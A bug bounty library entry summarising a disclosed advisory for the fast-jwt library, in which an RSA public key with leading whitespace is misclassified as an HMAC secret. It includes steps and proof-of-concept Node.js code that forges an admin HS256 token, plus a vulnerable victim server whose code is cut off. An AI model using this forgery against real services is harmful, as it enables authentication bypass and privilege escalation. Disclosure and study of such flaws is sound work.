# fast-jwt: Incomplete fix for CVE-2023-48223: JWT Algorithm Confusion via Whitespace-Prefixed RSA Public Key

fast-jwt's publicKeyPemMatcher ^ anchor fails on whitespace-prefixed RSA keys, misclassifying them as HMAC secrets and enabling HS256 forgery.

- Payout: Research
- Severity: critical
- Program: fast-jwt
- Found by: rtvkiz
- Disclosed: 2026-04-02
- CVE: CVE-2026-34950
- Write-up quality: 8/10
- Original: https://github.com/advisories/GHSA-mvf2-f6gm-w987
- Library page: http://bugbountylibrary.com/r/ghsa%3AGHSA-mvf2-f6gm-w987
- Tags: area:oss domain:oss impact:integrity impact:privesc kind:research platform:ghsa sev:critical tech:jwt tech:nodejs technique:incomplete-fix technique:source-review vuln:auth-bypass vuln:crypto

**Target:** npm library JWT verifier (createVerifier key detection)
**Root cause:** The publicKeyPemMatcher regex is anchored with ^ and applied without .trim(), so leading whitespace makes the match fail and an RSA public key falls through to hsAlgorithms. The private-key path does trim, an inconsistency that is the root cause.
**Steps:**
1. Note fix for CVE-2023-48223 changed matcher to `/^-----BEGIN(?: (RSA))? PUBLIC KEY-----/` used with `key.match()` in performDetectPublicKeyAlgorithms.
2. Observe private key path calls `key.trim().match(privateKeyPemMatcher)` but public key path does not trim.
3. Prepend `\n` to the RSA public key string (e.g. `const publicKeyFromDB = '\n' + publicKeyPem;`) and pass it to `createVerifier({ key: publicKeyFromDB })` without an explicit algorithm.
4. Recover the public key, then forge an HS256 token signing `header.payload` with `createHmac('sha256', publicKey)` using the whitespace-prefixed PEM as secret.
5. Submit forged token to verifier: legitimate RS256 token returns 401 'The token algorithm is invalid.', forged HS256 token returns 200 with `admin: true`.
**How found:** Reviewing the patch for CVE-2023-48223, the researcher noticed the new regex used a ^ anchor with .match() and no .trim(), while the sibling private-key check did call .trim() — an inconsistency suggesting whitespace would defeat the anchor.
**Exploitation:** Attacker needs only the server's RSA public key (public by definition). With a whitespace-prefixed key in the verifier config, the key is classified as an HMAC secret, so the attacker HMAC-signs an arbitrary payload (e.g. admin:true) with HS256 and the verifier accepts it, granting full token forgery.
**Insight:** When auditing a fix for algorithm-confusion, check whether key-type detection is anchored and whether trimming is applied consistently across all key matchers; any asymmetry between private/public key paths is a strong signal. Leading whitespace is realistic from DB columns, YAML block scalars, and env vars.

## Proof of concept (copied exactly from the original report)

**Attacker forges HS256 token using public key as HMAC secret**

```
const header = Buffer.from(JSON.stringify({ alg: 'HS256', typ: 'JWT' })).toString('base64url');
    const payload = Buffer.from(JSON.stringify({
      admin: true, name: 'attacker',
      iat: Math.floor(Date.now() / 1000),
      exp: Math.floor(Date.now() / 1000) + 3600
    })).toString('base64url');
    const signature = createHmac('sha256', publicKey)
      .update(header + '.' + payload).digest('base64url');
    const forgedToken = header + '.' + payload + '.' + signature;
```

**Victim server verifies with whitespace-prefixed public key**

```
const publicKeyFromDB = '\n' + publicKeyPem;

  // Write public key to disk so attacker can recover it
  fs.writeFileSync(path.join(__dirname, 'public_key.pem'), publicKeyFromDB);

  const server = http.createServer((req, res) => {
    const url = new URL(req.url, `http://localhost:${port}`);

    // Endpoint to generate a JWT token with admin: false
    if (url.pathname === '/generateToken') {
      const payload = { admin: false, name: url.searchParams.get('name') || 'anonymous' };
      const signSync = createSigner({ algorithm: 'RS256', key: privateKeyPem });
      const token = signSync(payload);
      res.writeHead(200, { 'Content-Type': 'application/json' });
      res.end(JSON.stringify({ token }));
      return;
    }

    // Endpoint to check if you are the admin or not
    if (url.pathname === '/checkAdmin') {
      const token = url.searchParams.get('token');
      try {
        const verifySync = createVerifier({ key: publicKeyFromDB });
```

